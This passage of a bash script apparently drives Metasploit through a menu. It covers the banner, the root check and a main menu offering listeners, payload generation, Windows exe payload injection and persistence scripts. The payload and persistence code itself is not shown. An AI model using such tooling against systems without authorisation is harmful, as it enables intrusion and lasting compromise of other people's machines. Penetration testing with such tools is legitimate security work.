echo -e " ${FGR}${LG}💀 Must run as root (sudo ./ksploit.sh) 💀 ${NC}${RED}"
badbye
}
################################################################################
################################################################################
# Main program #
################################################################################
################################################################################
function goto
{
label=$1
shift;
cmd=$(sed -n "/$label:/{:a;n;p;ba};" $0 | grep -v ':$')
eval "$cmd"
exit
}
function pause(){
read -p "$*"
}
echo
echo " ${RED} _ __${LIGHT_MAGENTA} ____ _ _ _ "
echo " ${RED}| |/ /${LIGHT_MAGENTA}/ ___| ___ | | ___ (_) |_ "
echo " ${RED}| ' /${LIGHT_MAGENTA}\\___ \| '_ \| |/ _ \| | __|"
echo " ${RED}| . \\${LIGHT_MAGENTA} ___) | |_) | | (_) | | |_ "
echo " ${RED}|_|\_\\${LIGHT_MAGENTA}____/| .__/|_|\___/|_|\__|"
echo " ${RED} ${LIGHT_MAGENTA} |_| "${FGC}${YELLOW};
echo -ne ' 👽\r'
sleep .1
echo -ne ' 👽👽\r'
sleep .1
echo -ne ' 👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽\r'
sleep .1
echo -ne ' 👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽👽\r'
echo -ne ' 🕵🔎 Courtesy of Kaotick Jay 👽\r'${NC}
# echo " 🖥️ 🐧🍎🤖🐍♻🐚 "
sleep .5
echo "${LIGHT_MAGENTA} "
echo
echo " KSploit is a user friendly control panel in which to drive many metasploit tasks such as generating shells, payloads, and persistence scripts on the fly, starting listeners, and suggesting payloads and exploits" |fmt -w 60
echo
pause ' '${FGC}${GREEN}' Press [Enter] key to continue...'${NC}
start=${1:-"start"}
#start:
clear
echo
echo ${YELLOW}
echo " _____________________________________________"
echo " |${FGG} KSploit Main Menu Options: ${NC}${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 👂${GREEN} 1 ${BLUE}Listeners Menu. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 💰${GREEN} 2 ${BLUE}Payloads menu. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 💉${GREEN} 3 ${BLUE}Windows exe payload injection. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | ⌛${GREEN} 4 ${BLUE}Persistence Scripts menu. ${YELLOW}|"
echo " |---------------------------------------------|"
# echo " | ▶️ ${GREEN} 5 ${BLUE}Generate an Obfuscated Payload. ${YELLOW}|"
# echo " |---------------------------------------------|"
echo " | ▶️ ${GREEN} M ${BLUE}Migrate to Msfconsole. ${YELLOW}|"
echo " |---------------------------------------------|"
echo " | 🚪${GREEN} q ${BLUE}Quit. ${YELLOW}|"
echo " |_____________________________________________${YELLOW}|${GREEN}"
echo
# locals
echo ${NC}
errors
echo "${GREEN}"
read -n1 -p " What do you want to do? Choose: [1,2,3,4,M,q] " opt
case "$opt" in
1) listeners
;;
2) payloads
;;
3) malexe
;;
4) persist
;;
# 5) obfuscate
# ;;
M) mfconsole
;;
q)
echo
echo
echo ${YELLOW}
goodbye
;;
*)clear
error="$opt is not a valid option!"
goto $start
;;
esac
tput sgr0